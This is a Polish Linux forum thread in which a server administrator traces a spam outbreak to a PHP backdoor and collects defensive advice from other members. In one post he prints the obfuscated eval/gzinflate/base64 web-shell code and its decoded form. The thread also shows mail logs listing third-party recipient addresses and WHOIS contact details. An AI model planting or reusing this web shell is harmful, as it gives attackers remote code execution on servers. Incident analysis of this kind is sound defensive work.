Nie jesteś zalogowany.
Jeśli nie posiadasz konta, zarejestruj je już teraz! Pozwoli Ci ono w pełni korzystać z naszego serwisu. Spamerom dziękujemy!
Prosimy o pomoc dla małej Julki — przekaż 1% podatku na Fundacji Dzieciom zdazyć z Pomocą.
Więcej informacji na dug.net.pl/pomagamy/.
Ahoj! Dawno mnie tu nie było.. Koledzy, koleżanki zwracam się do Was z prośbą o pomoc w znalezieniu problemu.. Miał być sobie spokojny weekend a tu dostaję w sobotę raporty o problemach serwera pocztowego. Od miesiąca wysłużona maszyna z Lennym została zamieniona VPS'em z Debianem 7. Miało być nowocześnie, bezpiecznie i spokojnie na kolejne kilka lat.. Tymczasem okazuje się, że jestem wciągany na listy spamowe przez jednego u użytkownika www - powiązanego z katalogiem.
Moja kolejka wyglądała mniej więcej tak:
-Queue ID- --Size-- ----Arrival Time---- -Sender/Recipient-------
8FBF9304815* 3453 Sun Oct 13 12:46:08 web35@prime.pl
gioia.pisano@ey.com
540EE30480D* 3446 Sun Oct 13 12:46:07 web35@prime.pl
ginobianchini@ey.com
29F7B30BF17* 3466 Mon Oct 14 08:13:26 web35@prime.pl
kmarcoux@maildomination.com
75484305A84* 3453 Sat Oct 12 21:33:37 web35@prime.pl
support@kongu.com
9C2EE303DAB* 3472 Sat Oct 12 13:23:59 web35@prime.pl
thebjohnstons@sbcglobla.net
58CF7304808* 3451 Sun Oct 13 12:46:06 web35@prime.pl
gino.sasso@ey.com
020F830D0B1* 3444 Mon Oct 14 07:30:25 web35@prime.pl
saccentev@coned.com
00B6D305742* 3441 Sat Oct 12 23:30:59 web35@prime.pl
Mulee@compaq.net
DB88930D0D3* 3450 Mon Oct 14 07:30:22 web35@prime.pl
sablianj@coned.com
A263D30A5BE* 3438 Mon Oct 14 02:21:03 web35@prime.pl
roger@villa.com
ED5AB30D08D* 3454 Mon Oct 14 07:30:25 web35@prime.pl
saddiesmith@coned.com
611AD30481A* 3443 Sun Oct 13 12:46:02 web35@prime.pl
ginny.hoce@ey.com
F3F9130D0A6* 3439 Mon Oct 14 07:30:21 web35@prime.pl
sabinoaa@coned.com
D322930D0AC* 3440 Mon Oct 14 07:30:23 web35@prime.pl
sablod@coned.com[/quote]
Fragment logów mail.logOct 10 09:53:29 prime postfix/qmgr[2954]: C5E0F1287ED4: from=<web35@prime.pl>, size=4842, nrcpt=1 (queue active)
Oct 10 09:53:29 prime amavis[27159]: (27159-09-23) Passed CLEAN {RelayedOpenRelay}, <web35@prime.pl> -> <2052124@compass-group.co.uk>, Message-ID: <20131010075322.892481287EE7@prime.pl>, mail_i
Oct 10 09:53:30 prime postfix/local[27848]: 1C8BB1287ED8: to=<web35@prime.pl>, relay=local, delay=0.03, delays=0.01/0/0/0.02, dsn=2.0.0, status=sent (delivered to mailbox)
Oct 10 09:53:30 prime postfix/local[27848]: 742271287ECF: to=<web35@prime.pl>, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=2.0.0, status=sent (delivered to mailbox)
Oct 10 09:53:33 prime postfix/local[27848]: 8CB2F1287ECD: to=<web35@prime.pl>, relay=local, delay=0.01, delays=0.01/0/0/0, dsn=2.0.0, status=sent (delivered to mailbox)
Oct 10 09:53:33 prime amavis[27159]: (27159-09-25) Passed CLEAN {RelayedInbound}, [74.125.83.66]:46601 [74.125.83.66] <> -> <web35@prime.pl>, Queue-ID: 187C71287ED1, Message-ID: <089e01681ba4d5fad104e
Oct 10 09:53:33 prime postfix/smtp[27036]: 187C71287ED1: to=<web35@prime.pl>, relay=127.0.0.1[127.0.0.1]:10024, conn_use=25, delay=8.5, delays=0.12/4.9/0/3.5, dsn=2.0.0, status=sent (250 2.0.0 from MT
Oct 10 09:53:38 prime amavis[27873]: (27873-02) Passed CLEAN {RelayedInbound}, [212.188.178.246]:52393 [212.188.178.246] <> -> <web35@prime.pl>, Queue-ID: 2ECCD1287ECD, Message-ID: <20131010075332.DB7
Oct 10 09:53:38 prime postfix/local[27848]: 0F0981287ECE: to=<web35@prime.pl>, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=2.0.0, status=sent (delivered to mailbox)
Oct 10 09:53:38 prime postfix/smtp[26447]: 2ECCD1287ECD: to=<web35@prime.pl>, relay=127.0.0.1[127.0.0.1]:10024, delay=3.9, delays=0.19/0/0/3.7, dsn=2.0.0, status=sent (250 2.0.0 from MTA(smtp:[127.0.0
Oct 10 09:59:55 prime postfix/qmgr[2954]: E5D961287ECC: from=<web35@prime.pl>, size=4860, nrcpt=1 (queue active)[/quote]
Na początku myślę, formularz nie zabezpieczony captcha ale przecież spam idzie na inne adresy niż ten skonfigurowany w formularzu..
Szukam więc dalej w logach. Pomocna staje się strona: http://zy0.de/
W fragmentach zablokowanych wiadomości znajdujęSubject: Voice Message Notification
X-PHP-Originating-Script: 5036:sys09725444.php
From: "WhatsApp Messaging Service" <service@domena.pl>
X-Mailer: mPOPWeb-Mail2.19
Reply-To: "WhatsApp Messaging Service" <service@domena.pl>
Mime-Version: 1.0
Content-Type: multipart/alternative;boundary="----------1381690620525AECFC28AD4"
Message-Id: <20131013185700.30916307D57@prime.pl>
Date: Sun, 13 Oct 2013 20:57:00 +0200 (CEST)[/quote]
Klucz to [b]sys09725444.php[/b]
Szukam tego pliku - mam go w dwóch miejscach. Wraz z nim kilka innych plików.
Wszystko zakodowane oczywiście HEX
Tutaj link do źródła i zdekodowanego pliku:
http://ddecode.com/hexdecoder/?results=3233e0a58699c45573f2889109cfb31a
Oczywiście kod nie wygląda jak kod stworzony do przyjaznych celów.
Mój access.log do tego pliku był potężny ale wszystko z jednego adres - trochę amatorka.146.185.246.18 - - [13/Oct/2013:07:43:35 +0200] "POST /sys09725444.php HTTP/1.1" 200 5 "-" "-"
146.185.246.18 - - [13/Oct/2013:07:43:41 +0200] "POST /sys09725444.php HTTP/1.1" 200 5 "-" "-"
146.185.246.18 - - [13/Oct/2013:07:44:48 +0200] "POST /sys09725444.php HTTP/1.1" 200 5 "-" "-"
146.185.246.18 - - [13/Oct/2013:07:45:18 +0200] "POST /sys09725444.php HTTP/1.1" 200 5 "-" "-"
146.185.246.18 - - [13/Oct/2013:07:47:17 +0200] "POST /sys09725444.php HTTP/1.1" 200 5 "-" "-"[/quote]
RIPE% This is the RIPE Database query service.
% The objects are in RPSL format.
%
% The RIPE Database is subject to Terms and Conditions.
% See http://www.ripe.net/db/support/db-terms-conditions.pdf
% Note: this output has been filtered.
% To receive output for a database update, use the "-B" flag.
% Information related to '146.185.246.0 - 146.185.246.255'
% Abuse contact for '146.185.246.0 - 146.185.246.255' is 'abuse@pinspb.ru'
inetnum: 146.185.246.0 - 146.185.246.255
netname: cust3165-net
descr: Net for customer ID 3165
country: LU
admin-c: AV8068-RIPE
tech-c: AV8068-RIPE
status: ASSIGNED PA
mnt-by: MNT-PIN
mnt-by: MNT-PINSUPPORT
mnt-routes: ROOT-MNT
source: RIPE #Filtered
person: Andrey Vasiliev
address: Revolyutsii highway, 140
address: Kirovskiy district, Mga
address: Leningrad region,
address: Russian Federation
abuse-mailbox: info@eurolinenet.biz
phone: +7 81362 4823
nic-hdl: AV8068-RIPE
mnt-by: eurolinenet-mnt
source: RIPE #Filtered
% Information related to '146.185.246.0/24AS5577'
route: 146.185.246.0/24
descr: cust3165-net
origin: AS5577
mnt-by: ROOT-MNT
source: RIPE #Filtered
% This query was served by the RIPE Database Query Service version 1.69 (WHOIS4)[/quote]
Najprostszą metodą szukania jakiegoś tropu była dla mnie ta unikatowa nazwa pliku ze skryptem, która nie jest unikatowa - bo powtórzyła się w 2 folderach ze stronami.. Co ciekawe.. sporo tego w necie:
http://lustt.webd.pl/
http://majsterkowicz.home.pl/
http://raindrip.home.pl/
http://www.panamoduli.com/
http://ryano.smarthost.pl/
Co ciekawe wszędzie jest prawie ta sama data utworzenia plików co u mnie..
Gdzie szukać dziury. Większość serwerów z tym problemem to Apache, a ja śmigam na NginX'ie
blehh :FOffline
#2 2013-10-14 16:04:40
fervi - Użytkownik
- fervi
- Użytkownik
- Zarejestrowany: 2010-03-14
Re: Backdoor z rana jak śmietana.
O ile jestem "miszczem" w zabezpieczeniach domowych, o tyle może warto przeskanować komputer rkhunter czy clamAV (o ile go nie masz, ale powinieneś mieć :D)
FerviOffline
#3 2013-10-14 16:47:13
winnetou - złodziej wirków ]:->
Re: Backdoor z rana jak śmietana.
stronki postawione na dziurawcach/starociach (np nieśmiertelna joomla z serii 1.5.x). Przede wszystkim sprawdź strony na których znalazłeś ten plik - pewnie gdzieś jest jakaś luka która umożliwia wykonanie dowolnego kodu/zassanie na konto plików - a potem samo leci.
LRU: #472938
[b]napisz do mnie:[/b] ola@mojmail.eu
[url=http://valhalla.org.pl]Hołmpejdż[/url] | [url=http://valhalla.org.pl/foto]Galerie[/url] | [url=http://valhalla.org.pl/tech]"Twórczość"[/url] || [url=http://img.munn.in]Free Image Hosting[/url]Offline
#4 2013-10-14 16:58:10
buli - Użytkownik
- buli
- Użytkownik
- Skąd: Człuchów
- Zarejestrowany: 2006-04-30
Re: Backdoor z rana jak śmietana.
Serwer tak jak pisałem, nowy, solidnie przygotowany - RKHunter i ClamAV oczywiście wrzucone.
Jest czysto generalnie. Strony postawione na Symphony2 - świeży framework teoretycznie..
Mam ich też więcej, a te 2 padły ofiarą..
Co ciekawe strony, które podlinkowałem często nie miały żadnej strony a w index of był ten syf..
blehh :FOffline
#5 2013-10-14 20:15:19
winnetou - złodziej wirków ]:->
Re: Backdoor z rana jak śmietana.
Syf sam się nie urodził :) Porządy audyt tych stron na których pojawił się syf (miej logi i patrzaj w logi, podpowiedź: przede wszsytkim zapytania POST), sprawdzenie logów z logowań na ftp/ssh użytkowników na których te dwie strony stoją. Zmiana haseł itd itp.
LRU: #472938
[b]napisz do mnie:[/b] ola@mojmail.eu
[url=http://valhalla.org.pl]Hołmpejdż[/url] | [url=http://valhalla.org.pl/foto]Galerie[/url] | [url=http://valhalla.org.pl/tech]"Twórczość"[/url] || [url=http://img.munn.in]Free Image Hosting[/url]Offline
#6 2013-10-14 20:34:53
fervi - Użytkownik
- fervi
- Użytkownik
- Zarejestrowany: 2010-03-14
Re: Backdoor z rana jak śmietana.
Serwer tak jak pisałem, nowy, solidnie przygotowany - RKHunter i ClamAV oczywiście wrzucone.[/quote]
Wrzucone, a uruchomione? (musisz ręcznie włączyć skanowanie)
FerviOffline
#7 2013-10-15 14:18:38
buli - Użytkownik
- buli
- Użytkownik
- Skąd: Człuchów
- Zarejestrowany: 2006-04-30
Re: Backdoor z rana jak śmietana.
Dobra, problem zlokalizowany. Do końca nie mogę opisać ścieżki ponieważ jest zbyt duża rozpiętość dat..
Wygląda to tak: W kilku folderach ze stronami mam plik default.php
Plik ten powtarza się także w podfolderach także obstawiam, że zainfekowany komputer webmastera wgrywał bez jego wiedzy z wykorzystaniem np. zapamiętanych kont www w kliencie ftp.
Plik default.php wygląda mniej więcej tak:Kod:
<?php eval(gzinflate(base64_decode("BcFJkqowAADQu/Squ1xAlLG6eiEiCjIaBnHzC0kYgxiCgJz+v4enjHyXa/0sSDbi70fGsCT8QzjvEf7+0nLDamk/7/d68Oaul5qPDmang0NrnCJkascQc3MNG/10DMKJK+AWQVkVH0pOqEMzuXa1SPAVkqG5k7DwLERwNl+dfW8EzZ7MunM2TH+X0F8PymkdniEvp51cFrFg1JnnAMWrlSdL14aMGnQf/l0UumFrsaXIi8Q95ejF/Hi6Hp+kTvDAnFnivY5VEifzytAp8KDnEvIwuHOzFHsU1KmaNM86jsYWj+zmKvYuBNkHNPv6NXkRsw1tiicE7eFYJVReF/14tVSNitkYaJYgTwEgwDl3drtZtJWo5cmFyIBhYdJ34D+cih8vmWfn1/PQw+zKy/5yGgzZ7q3qfLvbRcRQjUkLJUezqDe4R4Qmc9eFUA5K1JE73HPOk6ekKjFdZpTk9mDLNIh7zKDHN8mCxFJIRGlh5r6FqpbdycsNrLAHa9r1ieOyXoh6DlScukUfck7NtypWurirga7AzkszOheMNnXE580GtTczomgrodwvPQTKZAT7j2heuFvv27JREPUyvyL3bMa0+lgtr1wdrB3SmEU3ebvhdlMx//19/fz8/P4H"))); ?>Po przetworzeniu mamy
Kod:
@error_reporting(0); @ini_set("display_errors",0); @ini_set("log_errors",0); @ini_set("error_log",0); if (isset($_GET['r'])) { print $_GET['r']; } elseif (isset($_POST['e'])) { eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e'])))))); } elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { $data = file_get_contents('php://input'); if (strlen($data) > 0) print 'STATUS-IMPORT-OK'; if (strlen($data) > 12) { $fp=@fopen('tmpfile','a'); @flock($fp, LOCK_EX); @fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n"); @flock($fp, LOCK_UN); @fclose($fp); } } exit;Każdy kto chociaż trochę liznął php, wie że przy pomocy php://input można wrzucać kod base64, tworzyć pliki itd.
Zainfekowane pliki leżały prawie rok. Następnie w ubiegłym tygodniu autor zapewne uruchomił skrypt, który stworzył na serwerze pliki do wysyłania spamu..
W skrypcie były między innymi funkcje do identyfikacji maszyn poprzez nadanie im seryjnych numerów w pliku..
blehh :FOffline
#8 2013-10-15 14:38:01
Jacekalex - Podobno człowiek...;)
- Jacekalex
- Podobno człowiek...;)
- Skąd: /dev/urandom
- Zarejestrowany: 2008-01-07
Re: Backdoor z rana jak śmietana.
Zainteresuj się Grsecurity, Grsecurity-ACL i Cgroup.
Co prawda Debian się do tego średnio nadaje, ale już z Gentusia można zrobić czołg-serwer, wobec którego 99,9999% skrypciarzy będzie bezsilna, jak to sensownie skonfigurujesz. :D
Poza tym kto daje serwerowi WWW prawo zapisu w miejscach, z których może otwierać skrypty php?
Jeśli Grsecurity-ACL za trudne (w rzeczywistości nic trudnego, ale trzeba trochę cierpliwości), to jest jeszcze dość łatwy Apparmor i ultra trudny Selinux.
Pozdro
;-)Ostatnio edytowany przez Jacekalex (2013-10-15 14:41:23)
W demokracji każdy naród ma taką władzę, na jaką zasługuje ;)
Si vis pacem para bellum ;) | Pozdrawiam :)Offline
#9 2013-10-15 15:16:54
buli - Użytkownik
- buli
- Użytkownik
- Skąd: Człuchów
- Zarejestrowany: 2006-04-30
Re: Backdoor z rana jak śmietana.
Kolego, prawami zapisu można sobie manewrować gdy ma się postawioną 1-2 app'ki i administruje się nimi na serwerze..
Dziękuję oczywiście za cenne wskazówki co do dodatkowych zabezpieczeń..
Zastanawia mnie czy nie można by wyciąć z poziomu php.ini tych funkcji, które są potencjalnie groźne..
Z innej beczki..
Czy ktoś z Was pisał sobie może kiedyś jakiś kod do monitorowania kolejki postfixowej?
Myślę o tym, aby zrobić coś co będzie wyłączało dane konto w sytuacji, gdy zostaje za jego pomocą rozsyłany spam..
Zanim ip zostanie wciągnięty na listy spamowe..
blehh :FOffline
#10 2013-10-15 15:21:27
Jacekalex - Podobno człowiek...;)
- Jacekalex
- Podobno człowiek...;)
- Skąd: /dev/urandom
- Zarejestrowany: 2008-01-07
Re: Backdoor z rana jak śmietana.
Z Postfixem i QMailem jest ten problem, że domyślnie zarówno Amavis jak i QMail-scanner filtrują na okoliczność spamu tylko pocztę przychodzącą, a nie wychodzącą.
Żeby filtrowały i blokowały spam wysyłany z konta z autoryzacją, trzeba trochę chyba pomaszkecić w kodzie, oba programy są skryptami perla.
W Amavisie można chyba też osiągnąć podobny efekt kombinując ze zmiennąKod:
@acl_local_domainsOstatnio edytowany przez Jacekalex (2013-10-15 15:24:51)
W demokracji każdy naród ma taką władzę, na jaką zasługuje ;)
Si vis pacem para bellum ;) | Pozdrawiam :)Offline
#11 2013-10-15 15:43:58
buli - Użytkownik
- buli
- Użytkownik
- Skąd: Człuchów
- Zarejestrowany: 2006-04-30
Re: Backdoor z rana jak śmietana.
Myślałem czy może w głupi sposób nie mierzyć tylko wielkości kolejki i na jej podstawie monitorować..
Można zauważyć taką analogię, dużego przyrostu kolejki ze względu na blokowanie części wiadomości..
I na podstawie tego filtrować źródło problemu..
O ile w sytuacji, kiedy problemem jest np. złamane konto pocztowe -> prosty skrypt zmieniający w mysql'u hasło dla usera..
To jak można wyciąć użytkownika "web'owego", który wysyła spam z wykorzystaniem skryptu zaszytego na stronie?
Czy konieczne jest w takim wypadku ograniczenie dostępu do wysyłania wiadomości i wymuszenie autoryzacji loginem i hasłem nawet dla 127.0.0.1?
Jakie stosujecie restrykcje co dla funkcji mail? Mają one sens w ogóle?
Taka ciekawostka: http://blog.shadowserver.org/category/botnets/
Praktycznie opisany sposób jakim wpadł programista..
Z drugiej strony, żeby w dzisiejszych czasach tyle programów nie szyfrowało haseł, które przetrzymuje...Ostatnio edytowany przez buli (2013-10-15 15:55:00)
blehh :FOffline
#12 2013-10-15 17:34:02
winnetou - złodziej wirków ]:->
Re: Backdoor z rana jak śmietana.
zrób sobie wraper do funkcji mail w php :P
W php.ini domeny ustawiasz:Kod:
sendmail_path = "/usr/sbin/phpsendmail ADRES@DOMENA.PL"Samo /usr/sbin/phpsendmail to kilkulinijkowiec w dowolnym języku, który do wskazanego loga zapisze np date, scieżke do katalogu z którego plik php jest uruchomiony, temat maila, odbiorce (czy cokolwiek tam sobie zapragniesz).
LRU: #472938
[b]napisz do mnie:[/b] ola@mojmail.eu
[url=http://valhalla.org.pl]Hołmpejdż[/url] | [url=http://valhalla.org.pl/foto]Galerie[/url] | [url=http://valhalla.org.pl/tech]"Twórczość"[/url] || [url=http://img.munn.in]Free Image Hosting[/url]Offline
#13 2013-10-15 21:32:37
Jacekalex - Podobno człowiek...;)
- Jacekalex
- Podobno człowiek...;)
- Skąd: /dev/urandom
- Zarejestrowany: 2008-01-07
Re: Backdoor z rana jak śmietana.
Można też kopię maila łapać zarówno przez php.ini - odpowiednio zmodyfikowane polecenie sendmail - samym sendmailem chyba idzie dodać odbiorcę ukrytej kopii, albo na 100% użycie always_bcc, sender_bcc ub recipient_bcc w samym postfixie.
Wtedy będziesz łapał wszystkie maile wg takiego czy innego parametru,
i możesz np w Procmailu wyciągnąć z nich dowolne informacje, jakie są potrzebne.
Wszystko masz w dokumentacji postfixa i procmaila.
np:
http://www.postfix.org/ADDRESS_REWRITING_README.html#auto_bccOstatnio edytowany przez Jacekalex (2013-10-15 21:44:08)
W demokracji każdy naród ma taką władzę, na jaką zasługuje ;)
Si vis pacem para bellum ;) | Pozdrawiam :)Offline
#14 2013-10-23 12:23:48
buli - Użytkownik
- buli
- Użytkownik
- Skąd: Człuchów
- Zarejestrowany: 2006-04-30
Re: Backdoor z rana jak śmietana.
Na dobry początek wrzuciłem sobie mailgraph'a.
Spore ułatwienie, jednak brak informacji zwrotnej.
Przymierzam się do wdrożenia Nagios'a na całą infrastrukturę.
[img]http://img20.imageshack.us/img20/4663/fdmw.jpg[/img]
blehh :FOffline
Informacje debugowania
Time (s) Query 0.00011 SET CHARSET latin2 0.00004 SET NAMES latin2 0.00120 SELECT u.*, g.*, o.logged FROM punbb_users AS u INNER JOIN punbb_groups AS g ON u.group_id=g.g_id LEFT JOIN punbb_online AS o ON o.ident='3.135.247.188' WHERE u.id=1 0.00111 REPLACE INTO punbb_online (user_id, ident, logged) VALUES(1, '3.135.247.188', 1715441848) 0.00060 SELECT * FROM punbb_online WHERE logged<1715441548 0.00071 SELECT topic_id FROM punbb_posts WHERE id=242877 0.00157 SELECT id FROM punbb_posts WHERE topic_id=24398 ORDER BY posted 0.00076 SELECT t.subject, t.closed, t.num_replies, t.sticky, f.id AS forum_id, f.forum_name, f.moderators, fp.post_replies, 0 FROM punbb_topics AS t INNER JOIN punbb_forums AS f ON f.id=t.forum_id LEFT JOIN punbb_forum_perms AS fp ON (fp.forum_id=f.id AND fp.group_id=3) WHERE (fp.read_forum IS NULL OR fp.read_forum=1) AND t.id=24398 AND t.moved_to IS NULL 0.00008 SELECT search_for, replace_with FROM punbb_censoring 0.00111 SELECT u.email, u.title, u.url, u.location, u.use_avatar, u.signature, u.email_setting, u.num_posts, u.registered, u.admin_note, p.id, p.poster AS username, p.poster_id, p.poster_ip, p.poster_email, p.message, p.hide_smilies, p.posted, p.edited, p.edited_by, g.g_id, g.g_user_title, o.user_id AS is_online FROM punbb_posts AS p INNER JOIN punbb_users AS u ON u.id=p.poster_id INNER JOIN punbb_groups AS g ON g.g_id=u.group_id LEFT JOIN punbb_online AS o ON (o.user_id=u.id AND o.user_id!=1 AND o.idle=0) WHERE p.topic_id=24398 ORDER BY p.id LIMIT 0,25 0.00106 UPDATE punbb_topics SET num_views=num_views+1 WHERE id=24398 Total query time: 0.00835 s